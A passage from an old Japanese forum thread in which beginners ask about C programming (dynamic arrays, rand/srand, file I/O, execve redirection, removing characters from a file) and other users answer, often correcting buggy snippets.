ミリ秒単位で時間を得られます。

無限ループですが、「 ctrl + c 」という必殺技があるので問題ありません。
0435ななしさんNGNG
ソートするプログラムの練習用に.配列にランダムな数字を入れてくれる関数
を作りたいと思います.
形式としてはCreateArray(int n)みたいにしてやって,引数nの数だけ
array[0]からn個の配列を準備して,rand()で順次値を入れていき,配列
へのポインタを返す,というのを想定して書いてみたのですが,コンパイルす
ると配列の量が決まってないとダメ,というようなことを言われてしまいます.
エラーから推測するにコンパイルの時点でどれだけ割り当てるかを決めてない
せいだと思うのですが,実行したときに臨機応変にやってくれるような巧い方
法ってありますか?

ポインタを返されてからの処理にも困ってはいるのですが,とっかかりだけで
も教えていただければと思うのですが・・・あとは調べてやってみたいと思い
ますので,どなたかよろしくお願いします.
0436デフォルトの名無しさんNGNG
>>434
まず、timeGetTime()はWindowsのAPIだからmmsystem.hな。
あと、timeGetTime()の戻り値はdoubleじゃなくてDWORDな。
あと、tが本当にdouble型ならキャストしなくても自動的に変換されてるはずだと思うが?
0437C言語3日目NGNG
>>433
初めてこの意味が理解できたYO
0438デフォルトの名無しさんNGNG
>>435
Cなら、「malloc」を調べるべし。
C++なら new で。
0439デフォルトの名無しさんNGNG
>>429 のコードいじってて気づいたんだけど,
  double a, b = 0.0;
  a = 1.0 / b;
  printf("gehehe");
ゼロ除算例外で実行が中断されることなく gehehe が出力されるっすね
これは C や C++ の仕様なんすか?
0440439NGNG
あー,自己レスー
    printf("%f", a);
て出力してやると
    1.#INF00
て出てきました
そこはそれなりに考えてくれてるってことっすねー
0441デフォルトの名無しさんNGNG
>>439
処理系依存です。決まってません
0442デフォルトの名無しさんNGNG
>>440
この機会に IEEE754 について調べると、理解が深まると思うぞ。
0443デフォルトの名無しさんNGNG
3次元配列の初期化のやり方を教えてください。
int test[3][5][7]
というのを定義したいとです。

添え字を左からx,y,zとしたばあい
2次元配列なら
int test[3][5] = {
{ (x0.y0),(x0.y1),(x0.y2),(x0.y3),(x0.y4) },
{ (x1.y0),(x1.y1),(x1.y2),(x1.y3),(x1.y4) },
{ (x2.y0),(x2.y1),(x2.y2),(x2.y3),(x2.y4) }
}
というような感じで(x0.y0)のところに、
xが0でyが0の場合の値を入れればいいということは
わかったのですが、3次元の場合(x0.y0.z0)
どうすればいいのかわからないです。

よろしくお願いします。
0444デフォルトの名無しさんNGNG
/* 配列を確保する、確保できない場合、NULLを返す */
int *CreateArray(int n)
{
  return (int *)malloc(sizeof(int) * n);
}
使い終わったらfree()で解放したほうが良い。

/* 配列にランダムな値を設定する */
/* n は配列の要素数 */
void setRand(int *array, int n)
{
  int i;
  for(i = 0; i < n; i++){
    array[i] = rand();
}

ま、確保と設定を同じ関数でやってもいいと思うが。
0445デフォルトの名無しさんNGNG
>>443
[3][5][7] なんて巨大な数字を例にするのはやめれ。

int test[4][3][2] = {
 { {0,0}, {0,0}, {0,0} },
 { {0,0}, {0,0}, {0,0} },
 { {0,0}, {0,0}, {0,0} },
 { {0,0}, {0,0}, {0,0} }
};

4次元配列なら、さらに { } が増えます。
0446デフォルトの名無しさんNGNG
>>443
> 3次元配列の初期化のやり方を教えてください。
> int test[3][5][7]
> というのを定義したいとです。
int test[2][3][4]を初期化します。
int test[3][5][7]は下記を適当に応用してください。

int test[2][3][4] = {
 {
  { (x0.y0.z0),(x0.y0.z1),(x0.y0.z2),(x0.y0.z3) },
  { (x0.y1.z0),(x0.y1.z1),(x0.y1.z2),(x0.y1.z3) },
  { (x0.y2.z0),(x0.y2.z1),(x0.y2.z2),(x0.y2.z3) },
 },
 {
  { (x1.y0.z0),(x1.y0.z1),(x1.y0.z2),(x1.y0.z3) },
  { (x1.y1.z0),(x1.y1.z1),(x1.y1.z2),(x1.y1.z3) },
  { (x1.y2.z0),(x1.y2.z1),(x1.y2.z2),(x1.y2.z3) },
 },
};
0447デフォルトの名無しさんNGNG
どうやってC言語を覚えてるのですか?
0448デフォルトの名無しさんNGNG
>>447
カニチャーハン丸呑み
0449デフォルトの名無しさんNGNG
K&Rをちゃんと全部読む
0450449NGNG
>>448 かぶった・・
0451デフォルトの名無しさんNGNG
>>447 なんか作る。そして動かす。
0452デフォルトの名無しさんNGNG
>>447
毎日使ってれば勝手に覚える。日本語と同じ
ある程度使いこなせると思ったらK&Rを読んでみろ
より一段深い知識が身につけられるだろう
私はCの文法はこれで足りると思っている。

関数などは全部など覚えていないし、覚える必要もない。
リファレンスマニュアルとか検索エンジンで調べる。
分からない単語は辞書をつかって調べるのと同じ。

また、人のソースを読め。
偉大な文豪は同時に読書家であり、話し上手は聞き上手の人が多い。
はっとさせられる表現、考え方は素直に取り入れろ、
読みにくい、分かりにくいソースに出会ったとき、
どうすれば読みやすく、分かりやすいソースになるか考えろ。
良いソースも悪いソースも君の成長に一役買ってくれることだろう。
0453デフォルトの名無しさんNGNG
>>445,>>446
ありがとうございました!例が大きくてごめんなさい。
0454デフォルトの名無しさんNGNG
プログラム中から別のプログラムを実行する方法を教えて下さい
お願いします
0455デフォルトの名無しさんNGNG
>>454
まず、system関数を調べてみろ。

次にもう少し高度な方法として
DOS(LSI-C)系:spawnl,spawnlp,spawnv,spawnvp,spawnle,
        spawnlpe,spawnve,spawnvpe
Unix(posix)系:execve, execlp, execvp,execl, execv,
        execle, exect
とかいうのもある。
0456454NGNG
>>455
ありがとうございます、早速調べてみます
0457デフォルトの名無しさんNGNG
>>452
禿動!いい考え方だ。
0458ageNGNG
age
0459デフォルトの名無しさんNGNG
文字列リテラルの有効範囲について質問です。

void abc(char *sz){
  sz = "ABCDEFG";
  return;
}
int main(void){
  char *a;
  abc(a);
  return 0;
}
とあった場合、関数abc()内の文字列リテラル"ABCDEFG"は、いつまでメモリ上に存在するのですか?

・"ABCDEFG"が書かれた行だけ
・関数abc()が終了するまで
・プログラムが終了するまで
のどれかだと思うのですが、正確な仕様などは決まっているのでしょうか。
0460デフォルトの名無しさんNGNG
>>459
プログラム終了するまで存在してます。
0461デフォルトの名無しさんNGNG
>>459
そのコードだと、main() で abc(a); から帰ってきた後の a の値はゴミであることに注意せよ。
0462デフォルトの名無しさんNGNG
>>459
"ABCDEFG"はプログラムが終了するまでメモリに存在するが、それを
「szが指している」という事実は関数abcの中でしか通用しない。
0463C始めてです。NGNG
main()
{
char to*[];
copy(to);
}
copy(char *to[])
{
strcpy(to[0], "AAA"); <-こんな事できるんですか?
strcpy(to[1], "BBB");
strcpy(to[n], "ZZZ");

}
領域は確保されているんですか?
アドバイスお願いします。
0464デフォルトの名無しさんNGNG
>>463
家、領域が確保されていないので実行時にエラーとなります(エラーチェックが
あまり環境だと、メモリを壊しつつプログラムが暴走します)。

-------------------------------
#include <stdlib.h>
#include <string.h>

void
copy(char *to[])
{
  to[0] = strdup("AAA");
  to[1] = strdup("BBB");
  to[2] = strdup("ZZZ");
}

int
main(void)
{
  char *to[3];
  copy(to);

  return (0);
}
-------------------------------
0465土初心者NGNG
プログラムを打ち込むアプリケーションは何が良いですか?
0466デフォルトの名無しさんNGNG
>>465
エディタとして、何を使うべきかという話ですか?
0467デフォルトの名無しさんNGNG
>>463
>char to*[];

そもそも↑こんなコードはコンパイルできないぞ
0468デフォルトの名無しさんNGNG
>>465
最悪メモ帳でも書けるが・・・さすがにちとツライかな・・・オートインデントさえあれば、どんなエディタでも。
0469デフォルトの名無しさんNGNG
MS-DOSの頃はelis使ってたなー。
多分、Vzが代表的だったんだが…。

そもそも、窓なら統合環境使うのが一番いいよな。
無料コンパイラ使ってるならそうはいかないだろうが…。
0470デフォルトの名無しさんNGNG
エディタの話は宗教論争になりそうな、そんな予感。

環境や使っている処理系にも拠ると思いますしC言語固有のネタでもないので、
続けるなら別スレで……。エディタのスレッドってありませんでしたっけ?
0471459NGNG
>>460,461,462

レスありがとうございます。
勉強になります。
0472デフォルトの名無しさんNGNG
xyzzy以外に考えられない
0473472NGNG
ただ窓で純粋なC言語をやる気にもならない
そういうわけでLINUX+emacs
0474デフォルトの名無しさんNGNG
たとえばcalとかのプログラムのソースリストはどうすればわかるの?
0475デフォルトの名無しさんNGNG
落としてくる。
0476デフォルトの名無しさんNGNG
あの、すいませんが質問です
二つのtxtファイルがあって
その二つの共通部分を表示させたいんですが
date1.txtの内容が
aaaa
cccc
eeee
ffff
date2.txtの内容が
bbbb
dddd
ffff
hhhh
としてdate1.txtとdate2.txtの共通部分である
ffffを変数に取り込むにはどうしたら言いのでしょうか
0477デフォルトの名無しさんNGNG
s=ffff
0478デフォルトの名無しさんNGNG
>>477
いや、そうじゃなくて
二つのファイルから共通部分を取り出したいんです。
教えてください。
0479デフォルトの名無しさんNGNG
一行づつ読んで比較すれば良いじゃん
0480デフォルトの名無しさんNGNG
>>479
それしかないじゃん
0481>>479-480NGNG
それどうやるのですか?
0482まわりくどいがNGNG
uniq date1.txt > d1
uniq date2.txt > d2
sort d1 d2 | uniq -d
0483デフォルトの名無しさんNGNG
>>481
                ∧_∧   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                ( ・∀・)< 勉強の邪魔だから静かにおながいします。
             _φ___⊂)__ \_______________
           /旦/三/ /|
        | ̄ ̄ ̄ ̄ ̄|  |
        |愛媛みかん|/
0484デフォルトの名無しさんNGNG
共用体やビットフィールドは実務の場面で使うことはあるのですか?
あと、メンバが1個の構造体、

typedef struct{
char sample[10];
} SAMPLE_ST;

このようなものをたまに見ますが、これは何の意味が合って構造体にしているのですか?
単にわかりやすくするため?
0485デフォルトの名無しさんNGNG
>>484
ビットフィールド、使えないこともないと思うが論理積を使用してチェックする方が一般的かも

構造体は書いた人に聞いてくれ。
typedef char[10] SAMPLE_STで良いと思うんだが。
0486デフォルトの名無しさんNGNG
>>484
共用体
任意の表示オブジェクトを格納する配列でつかったことがある。
ビットフィールド
圧縮で使った事が有る。
1個の構造体
あとでメンバー追加するかもしれんし。
0487デフォルトの名無しさんNGNG
>>464
例えば
void f(char sample[10]){...}
よりも
void f(struct SAMPLE_ST *s){...}
の方が応用や再利用が利く使い方だからです。
例えば
typedef struct{
 char sample[10];
 int number;
} SAMPLE_ST
のように書きかえたときプログラムの変更を最小限にすることができます。
逆に構造体を使わない場合、プログラムの無数の個所を直す必要が生じます。
0488484NGNG
>485〜487
なるほど、メンバを後から追加することまで考えているのか……。
参考になりました。
とりあえずお礼まで。
0489デフォルトの名無しさんNGNG
構造体にすると
struct SAMPLE_ST a=b;
みたく、配列全体を一瞬でコピーできるようになる。
0490デフォルトの名無しさんNGNG
>>489
それはそうなんだけど、
そのためだけに構造体にする奴は逝っていいんじゃないか?
0491490NGNG
あ、ネタだったらごめん。
0492デフォルトの名無しさんNGNG
その程度なら、マクロで充分
0493名無しさん23 NGNG
すまんです。
独学でCを始めたので(プログラム経験なし)
質問内容も曖昧かもしれませんがお許し下さい。

LSIのコンパイラをDLしたのですが
long int って予約語(?)はLSIでは使えないのでしょうか?
int と同じ桁数しか表示できません。

外出かも知れませんが過去ログが膨大で
ちょっと調べるのが億劫だったので
皆様のお知恵を拝借させてください。

お暇な方
よろしくお願いします。
0494デフォルトの名無しさんNGNG
%ld使え、ってオチ?
0495デフォルトの名無しさんNGNG
>>493
> int と同じ桁数しか表示できません。
これの意味が分からない。

もし、
int i = 10;
long l = 10;
printf("i = %d l = %d\n", i, l);
ならば、同じ桁数しか表示しない。

ちなみに内部表現のことを言っているのだったらLSI-Cの場合、
int 16bit long 32bitなのでbit数は違う
0496名無しさんNGNG
確立1/3で+1
2/3で+0
っていうふうにするにはどうするの?
0497名無しさんNGNG
詳しく書くと、
ある変数Aに
確立1/3で
A+1

確立2/3で
A+0

という風にしたいのです。
確立xというのが分かりません。

へぼくてごめんなさい。
0498名無しさんNGNG
age
0499デフォルトの名無しさんNGNG
>>496-498
日本語習ってこい
0500デフォルトの名無しさんNGNG
今だ!!キリバンゲットォォォォ!!
 ̄ ̄ ̄ ̄ ̄∨ ̄ ̄ ̄       (´´
     ∧∧   )      (´⌒(´
  ⊂(゚Д゚⊂⌒`つ≡≡≡(´⌒;;;≡≡≡
        ̄ ̄  (´⌒(´⌒;;
      ズザーーーーーッ
0501デフォルトの名無しさんNGNG
日本語は今更駄目そうだから
せめてお前の使う記述言語の言語仕様書を見せろ。
0502デフォルトの名無しさんNGNG
>>496-498
srand(time(NULL));
if (rand()%3 == 0)
A += 1;
/*
else
A += 0;
*/
こういう話?
0503名無しさんNGNG
すみません、もっと詳しく書きます。
AとBがゲームをしており、
Aがかつと+1
負けると+0
となります。

このAのかつ確立を1/3とすると、
ゲームを1000回続けた時どのような
値に収束するか?というような意味の問題を扱っています。

そこで、
確立1/3で
A+1

確立2/3で
A+0
としたいのです。
0504名無しさんNGNG
つきつめて言うと
ランダムな
0から1までの値を
ある変数にセットする方法を教えてください。
0505デフォルトの名無しさんNGNG
乱数が3で割り切れたら1、そうでない場合は0をAに代入する。
ちなみにC標準関数の乱数はばらつきに限界があるんで適当な
乱数生成アルゴリズムも検討したりしなかったり。
0506デフォルトの名無しさんNGNG
http://dictionary.goo.ne.jp/cgi-bin/dict_search.cgi?MT=%B3%CE%CE%A9&sw=2
0507名無しさんNGNG
>>506
藁た。

>>502 さんのでいいのね。ありがとう。
0508名無しさんNGNG
すみません、また問題がおきました。
厨房で、すみません。

というのは、
先程の話の続きですが、aがあるゲームをしており、
得点が、ゲームの1ラウンドで、
aが勝つと+1
aが負けると-1
となるようにします。
このゲーム自体の勝ちは、aが20になったら勝ちとしております。
aの初期値を(a=i,0<=i<=20)として、a
が勝つ回数を数えているのですが、
以下のコードでは、なぜか各ラウンドでaが勝ち続けてしまいます。
調べて見るとrand()
が毎回同じ値を返しているのです。
この対策法をどうか教えてください。
急いでいます。


while((a<20) || (a=0)){

srand(time(NULL));

if (rand()%3 == 0){
a += 1;}
else{
a -= 1;}


if(a=20){
win[i]++;
}
}
0509デフォルトの名無しさんNGNG
毎回srandするなYO!
0510デフォルトの名無しさんNGNG
warata

Z80とかでやれば、ある時期を境にaが負けはじめるかもよ
0511名無しさんNGNG
それは、一回目のsrand以降は
randだけにしろということでしょうか。
ほんと厨房で申し訳ないです。
0512デフォルトの名無しさんNGNG
どうでもいいが、a=0とかa=20とかマジで書いてる?
0513名無しさんNGNG
a==0
とかが正しいのでしょうか?
まじで、1年Cを触らなかったら
さっぱり忘れてしまいました。
0514デフォルトの名無しさんNGNG
ネタにマジレスかこわるい
0515デフォルトの名無しさんNGNG
マニュアルを読めないのか
読まないのか

どっちなんだ?
0516デフォルトの名無しさんNGNG
バイナリーエディターを作りたいのですが
バイナリーで読むためのファイルの開き方と
16進での表示の仕方がよくわかりません
わかる人がいましたら、よろしくお願いします
0517デフォルトの名無しさんNGNG
fopen fread bin2hex
以上PHPでした
0518デフォルトの名無しさんNGNG
>>508

void main(void)
{
int a = 0;
int i = 0; // 試合数のカウント
srand(time(NULL));

while(a != 20)
{
if (rand() % 2 == 0) // 勝ったとき
{
a += 1;
}
else // 負けたとき
{
a -= 1;
}
i++;
}
printf("%d\n", i);//試合数の出力
}

違ってたらスマソ。
0519ビル・ジョブスNGNG
ビットフィールドはデバイスのI/Oなんかによく使うよ。
構造体へのポインタかぶせてね。
0520ビル・ジョブスNGNG
5ビットの整数(符号あり・なし)
とか作れて便利だよ。
0521デフォルトの名無しさんNGNG
>>508
aの勝利条件だけで敗北条件がないから、いつかは必ずaが勝つ。
0522クリントンNGNG
いきなりですが、お暇なら付き合ってください。
えーと、例えばa.txtってファイルがあったとしますよね。
ファイルの中には文字列がたくさんなわけなんですが、
そのなかにある「"」を全部削除したいんです。
何行ぐらいでかけるでしょうか?
0523デフォルトの名無しさんNGNG
>>522
10行ぐらい
0524デフォルトの名無しさんNGNG
2行あれば書けるな
0525デフォルトの名無しさんNGNG
>>524 = 七行プログラミングスレの住人
0526デフォルトの名無しさんNGNG
普通に書いても4行くらいかな

#include <stdio.h>
int main() {
    while(以下略
    return 0;}
0527デフォルトの名無しさんNGNG
リダイレクト使うか否かによって違う。
0528クリントンNGNG
ズルい女になるところでした。
ずばり、
記述してください。お願いします・・・。
0529デフォルトの名無しさんNGNG
#define 使うのとenum使うのでは
enumを使ったほうが良いとしている参考書やWeb上のドキュメントは多くありますが
事実define ばかり使われているのは何故ですか?
0530デフォルトの名無しさんNGNG
enum がもし enum MyConst{ ver=10;};

と定義して MyConst.ver と使うような仕掛けだったら
きっと もっと使われたでしょうね・・・・
0531デフォルトの名無しさんNGNG
>>528
#include <stdio.h>
main(){int c;while(c=getchar(),c^EOF)c^34?putchar(c):0;}


>>529
使う人は使ってます
0532デフォルトの名無しさんNGNG
別に今のままの状態でもdefineに劣るところはないと思いますが。
古い環境ではサポートされていないからでしょうか?
流れにあわせてdefineを使っていますが
実際にenum使うと問題起きると思います?
0533デフォルトの名無しさんNGNG
>>522
#include <stdio.h>
int main(void){int ch;long l=0L,m=0L;FILE *fp=fopen("a.txt","r+");
do{fseek(fp,l,SEEK_SET);ch=fgetc(fp);if(feof(fp)||ferror(fp)) break;
if(ch!='"'){fseek(fp,m,SEEK_SET);fputc(ch,fp);m++;}l++;}
while(!feof(fp)&&!ferror(fp));fclose(fp);return 0;}
//ファイルの最後にゴミがでるだろうな。
0534デフォルトの名無しさんNGNG
>>532 enum { A, B, C=A|B}; とはできない。
0535クリントンNGNG
>>533
本当に5行で書けるとは・・・
正直、疑ってました・・・
世の中にはすごい人がいくらでもいるんですね・・・
・・・すばらしい
0536デフォルトの名無しさんNGNG
>>535
バグを消してもっと短く書けます。
ただ、ここを7行スレと同じにするつもりはないので自分で考えて
0537526NGNG
>>527
要件から見てフィルタであることが明らかなので、普通はリダイレクト使うと思われ。

>>535
これくらいできない奴はプログラマではない。
0538クリントンNGNG
>>537
すいません、疑っているわけではないのですが、
別解ありましたら書いていただけますか?
0539デフォルトの名無しさんNGNG
>>538

531で既に出ているが?
0540526NGNG
>>538

526を見よ。略されてる部分は推して知れ。
0541デフォルトの名無しさんNGNG
#include <stdlib.h>
int main() {
system("sed -e 's/"//g' a.txt");
return 0;
}
0542デフォルトの名無しさんNGNG
"sed"やリダイレクトが無いシステムってどんなシステムやねん。
#include <stdio.h>
int main(void){int c; FILE *in_f,*out_f; in_f=fopen("a.txt","r");
out_f=fopen("a-new.txt","w"); do{if(!((c=fgetc(in_f))^EOF)) goto _go_out;
(c!='"')&&fputc(c,out_f);}while(1);_go_out: fclose(in_f);fclose(out_f);return 0;}
// 日本語ファイルはだめ。
0543デフォルトの名無しさんNGNG
remove("a.txt"); rename("a-new.txt", "a.txt");
0544デフォルトの名無しさんNGNG
>>541 の間違い発見!
>system("sed -e 's/"//g' a.txt");
system("sed -e 's/\"//g' a.txt");
0545デフォルトの名無しさんNGNG
なんでこんなしょーもない題材で熱くなるんだ?
7行スレにでも参加しろよ
0546デフォルトの名無しさんNGNG
>>545
> 7行スレにでも参加しろよ
こんな題材7行も書く価値はない
0547デフォルトの名無しさんNGNG
>>546
いや、な。これをもっていくんじゃなくて、
こんな題材に熱くなる暇があるなら、
7行スレやIOCCCに参加しろってこと。

7行すれもネタが無くて寂しいから
0548デフォルトの名無しさんNGNG
7行スレはどこですか?
0549454NGNG
execveを使ってプログラム中から別のプログラムを実行する事はできたのですが、
その実行結果をファイルに落とすのはどうすればいいのでしょうか?
…
argv[3] = ">";
argv[4] = data;
argv[5] = 0;
ではunrecognised optionと言われました
0550sageNGNG
'>' とかのリダイレクト記号はシェルが解釈してるなり。
exec する前に標準出力を結果を出力したいファイルにリダイレクトしとくなり。
0551454NGNG
>>550
すみません、いまいちよく分からないのですが
もう少し詳しく教えて頂けないでしょうか?
05521NGNG
http://www5.justnet.ne.jp/~ttp/
0553デフォルトの名無しさんNGNG
>>551
fd = open("data", ...);
dup2(fd, STDOUT_FILENO);
close(fd);
execve(...);
みたいな。
0554454NGNG
>>553
ありがとうございます
助かりました、今からやってみます
0555デフォルトの名無しさんNGNG
ファイル名を使って格納されている外部ファイルを開くのと、
メモリ内にポインタ変数を用いて格納されている値を参照する
ことの類似性についておしえてクダサイ。
0556デフォルトの名無しさんNGNG
>>555
嫌です
0557デフォルトの名無しさんNGNG
GetOpenFileName()は、システムからファイル名パスを取得し、
ofn.lpszstrの示す文字列ポインタの示す場所へ、それを格納し、
直後のCreateFile()が一時ハンドルを取得し、さらに次のReadFile()
が、その引数のしていする文字列ポインタの場所にバッファを格納する、
これでいいですか?
0558デフォルトの名無しさんNGNG
>>555
ファイルハンドルとポインタの類似性ですか?
ファイルハンドルはOS内の或る配列のインデックスじゃなかった?
0559デフォルトの名無しさんNGNG
う〜ん、わからないけどmemsetって大事ですか?
0560デフォルトの名無しさんNGNG
>>555 類似性は無いです
0561デフォルトの名無しさんNGNG
>>555 = >>559
そういう質問の仕方では望みの答えは返ってこないよ
0562デフォルトの名無しさんNGNG
>>559
「連続した記憶領域を或る値に書き換える」と覚えておきましょう。
文字列もどこかの記憶領域に格納されていることを考慮すれば、
文字列を全部空白にする、ってことも可能ですね。
0563chichiNGNG
こんばんわ!
現在Cの勉強をはじめたばかりで、右も左もわかりません!
ご教授、よろしくお願いします。

勉強&Cのファイル操作把握がてら、下のような簡単なソースを作成してみたのですが、
これを、
tempファイルの作成(temp.txt)→正しく作成されたかチェック→
tempファイルに出力(temp.txt)に出力→正しく出力されたかチェック→
ファイル閉じる→正しく閉じたかチェック
・・・と変更したいのですけど、参考書などを見てもあまりよくわからなくて・・・

#include <stdio.h>
#include <stdlib.h>

writefile(){
FILE *fp;
char tofile;

printf("書き込むファイル名:");
gets("tofile");

if((fp* = fopen(tofile,"w")) == NULL){
printf("ファイルをオープンできません。\n");
exit(1);
}
fclose(fp*);
return(0);
}

ビギナーな質問ですみませんが、
よろしくお願いします!m(__)m
0564デフォルトの名無しさんNGNG
>>563
fp* ってなんだそりゃ。
0565chichiNGNG
>>564
あ、そこまちがえました・・・。
if((*fp =fopen(tofile,"w"))==NULL){ ・・・でした。すみません。
0566デフォルトの名無しさんNGNG
>>563
つーか全部無茶苦茶。
0567デフォルトの名無しさんNGNG
つーか、'*' つけじゃいかんでしょ fp に。
0568デフォルトの名無しさんNGNG
>563

まずgets("tofile"); が意味不明
tofileっていう変数に文字列入れたいなら
  char tofile[100];
  gets(tofile);
と書け。

ファイルポインタの使い方も変。

×if((*fp = fopen(tofile,"w")) == NULL){
○if((fp = fopen(tofile,"w")) == NULL){

×fclose(fp*);
○fclose(fp);
0569sageNGNG
でもファイルポインタがなんなのか理解すればいい感じっぽい。
0570デフォルトの名無しさんNGNG
<stdio.h> の tmpnam, tmpfile 関数を使わないの?
0571 NGNG
>>563
#include <stdio.h>

int main(int argc, char *argv)
{
 FILE *file_ptr;
 char output_file[100];

 printf("書き込むファイル名 >");
 scanf("%s", output_file);

 if((file_ptr = fopen(output_file, "w")) == NULL) {
  printf("ファイルをオープンできませんでした。\n");
  return -1;
 }

 fclose(fp);

 return 0;
}
0572571NGNG
fclose(fp);に関しては忘れてくれ。
それから、オーバーフロー起こすとかも言わないでくれ。
0573デフォルトの名無しさんNGNG
mainの第二引数が怪しいのも、突っ込まないようにするよ。
0574571NGNG
分かった、分かった。直したよ。
オーバーフローもしないけど、100字より長い名前のファイルを
作りたいとは言わないでくれよ。

#include <stdio.h>

int main(int argc, char *argv[])
{
 FILE *file_ptr;
 int i, input_char;
 char output_file[100 + 1];

 printf("書き込むファイル名 >");
 for(i = 0; i < 100 (input_char = getchar()) != EOF) && input_char != '\n'; i++)
 output_file[i] = input_char;
 output_file[i] = '\0';

 if((file_ptr = fopen(output_file, "w")) == NULL) {
  printf("ファイルをオープンできませんでした。\n");
  return -1;
 }

 fclose(file_ptr);

 return 0;
}
0575chichiNGNG
皆さんいろいろありがとうございます・・・。
早速試してみます。
0576デフォルトの名無しさんNGNG
>>574
普通、素直に fgets() じゃないの?
つーか、変数名うざいね。(w
闇雲に説明的なのより慣用句にしたがったほうが読みやすい。
0577_________NGNG
>>576
fgetsでどうやってオーバーフロー対策するつもりだ?
つーか、知ったかうざいね。(w
0578えめえすでーえぬNGNG
/* FGETS.C: このプログラムは、fgets 関数を使って、ファイルから 1 行読
* み出し、スクリーンに表示します。
*/

#include <stdio.h>

FILE *stream;

void main( void )
{
char line[100], *result;

if( (stream = fopen( "fgets.c", "r" )) != NULL )
{
if( fgets( line, 100, stream ) == NULL)
printf( "fgets 関数でエラーが生じました。\n" );
else
printf( "%s", line);
fclose( stream );
}
}
0579sageNGNG
誰か激しく突っ込んでやれよ >>577
0580デフォルトの名無しさんNGNG
>>577
予め、システムで定められた上限を超えないこと。
0581デフォルトの名無しさんNGNG
>>580 は失敗。>>578 を見よ。
0582576NGNG
しったかっていわれちゃたーよ(T_T)

>>577
gets() とカンチガイ?
char *fgets(char *str, int size, FILE *stream);

>>578
△ if( fgets( line, 100, stream ) == NULL)
○ if( fgets( line, sizeof(line), stream) == NULL)
0583デフォルトの名無しさんNGNG
>>574
>  for(i = 0; i < 100 (input_char = getchar()) != EOF) && input_char != '\n'; i++)
継続条件がヘン。
0584デフォルトの名無しさんNGNG
>>331のソースをgccでコンパイルしたら何も問題なかったのですが、
コンパイラが適当に何かやってくれたんだろうか・・。
かなり疑問なので分かる人教えれ。
0585出馬鹿ーNGNG
>>584
何が疑問なのですか?
まずはプログラムをちゃんと読んでから質問するように。
一箇所気になるところは、
*p++よりもp[i]のほうがわかりやすいと思うのですがどうでしょうか?
(前者の方がほんのわずかに実行効率がいいのですが・・・)
0586デフォルトの名無しさんNGNG
出たばかりのどうしようもないコンパイラでない限り、効率は同じだゴルァ
0587デフォルトの名無しさんNGNG
>>584
関数に飛ばしたあとに何か変数をつくって
スタックをつぶしてみな
0588デフォルトの名無しさんNGNG
>>586
それはどうかな?
C++Builder4 とVC++(VisualStudio6.0)
でテストしたときにはあきらかに違ったよ。
gccでは知らん
0589デフォルトの名無しさんNGNG
>>588 の続き
ただし
for(int i=0;i<3;i++){}
の代わりに
while(p<p_max){}
を使ってループした場合だけどね
0590クリントンNGNG
まだ一晩しか悩んでいないのですが、
#include <stdlib.h>
int main() {
system("sed -e 's/"//g' a.txt");
return 0;
}
がなにをやっているのかさっぱりです。
ヒントをいただけたらなぁ・・・

ヒントください。
0591ブッシュNGNG
>>590
systemというのは、まあ
それを起動したシェルで""で囲んだ中の処理を実行する関数だな。
system("dir"); とか system("ls"); とかやってみて。

sed は、まあ
適当な文書整形をやってくれる人。
よく知らん。googleかmanを見れ。
0592デフォルトの名無しさんNGNG
>> 590
sedにつてgoogleで調べよ。
ちなみに今使っているOSはなんですか?
0593デフォルトの名無しさんNGNG
sedって名前のDOS用スクリーンエディタがあった気がする。
0594592NGNG
sed はMS-DOSにはないコマンドだよ。
UNIX系のOSである必要があると思うよ。
0595デフォルトの名無しさんNGNG
>>587
関数に飛ばしたあとCでは変数作れませんよね?
「スタックをつぶす」というのがどういうことか教えてください。
0596クリントンNGNG
>>592
windows2000です。
UNIX以外は関係なかったんですね。
ダブルクォーテーションを消すだけでも
結構難しいものです・・・
しかしここは結構勉強になりますね。
0597教えてくださいNGNG
C初心者です。

ひとつ質問なのですが、
getcharやgetcheで、入力を待ち受けているときに
1秒たったら、
getcharやgetche処理を中止して
次の処理に移りたいのですが、うまくいきません。

time_t t1;
t1 = time( NULL );
while( ( time( NULL) - t1 ) / CLOCKS_PER_SEC <= 1 ) 
   dt = getche();

なんて、やってみたら
逆に永遠にgetcheしていました。

何かよい方法はないのでしょうか?
0598デフォルトの名無しさんNGNG
>>597
汎用的な方法はないはず。Unix だったら man setitimer してみて。
Windows は他の人にまかせた。
0599これでよいでしょうか?NGNG
/*
F1=1,F2=1であるフィボナッチ数列の第n項目をFnとする。
2数a,bの最大公約数を[a,b]とする。
例えば、[63,81]=9である。
このとき、1以上の自然数に含まれる二数、m,nについて、
F[m,n]=[Fm,Fn]
であることを確かめる
*/

#include <stdio.h>
#include <stdlib.h>

int f[30];

void fib(void);
void fib_print(void);
void check(void);

int main(void)
{
printf("フィボナッチ数列を30項まで表示します\n");
fib();
fib_print();
check();
printf("プログラムを終わります");
return 0;
}

void fib(void)
{
int i;

f[0]=1;
f[1]=1;

for(i=2 ; i<30 ; i++)
{
f[i]=f[i-1]+f[i-2];
}
}

void fib_print(void)
{
int i;

for (i=0 ; i<30 ; i++)
{
printf("%7d",f[i]);
if((i+1)%9==0)
printf("\n");
}

}
0600デフォルトの名無しさんNGNG

int gcd(int a, int b)
{
int r;

if(a<0) a = -a;
if(b<0) b = -b;

while(b != 0){
r = a % b;
a = b;
b = r;
}
return a;
}

int reduct(int *a, int *b)
{
int gcd_ab;

gcd_ab = gcd(*a,*b);
*a /= gcd_ab;
*b /= gcd_ab;

return gcd_ab;
}

void check(void)
{
int m,n,r,s;
printf("\nF[m,n]と[Fm,Fn]を比較します\n");

printf("m:");
scanf("%d",&m);

printf("b:");
scanf("%d",&n);

printf("Fm=%d,Fn=%d\n",f[m-1],f[n-1]);
s=reduct(&f[m-1],&f[n-1]);
r=reduct(&m,&n);
printf("F[m,n]=%d\n",f[r-1]);
printf("[Fm,Fn]=%d\n",s);
}
0601599NGNG
自分でプログラム組んでみたんですが
どこか問題があるでしょうか?
良くないと思う部分はどんどん教えてください。
0602デフォルトの名無しさんNGNG
>>597
その質問は処理系依存です。
OSと処理系を明示してくれんと答えられない。
0603デフォルトの名無しさんNGNG
>>597
あなたの求めている関数は標準ライブラリには存在しないと思います。
UNIXではXの関数を使ってやりました。
Windowsでは開発環境依存のイベントを使ってやりました。
0604デフォルトの名無しさんNGNG
>>599-601
学校の宿題は自分の力でやりましょう。
0605599NGNG
ちっ、うるせーな
0606604NGNG
>>599-601
>>605
て優香ー 困っているようには全然見えないしー
自分で考える脳味噌がないなら逝ってよしー
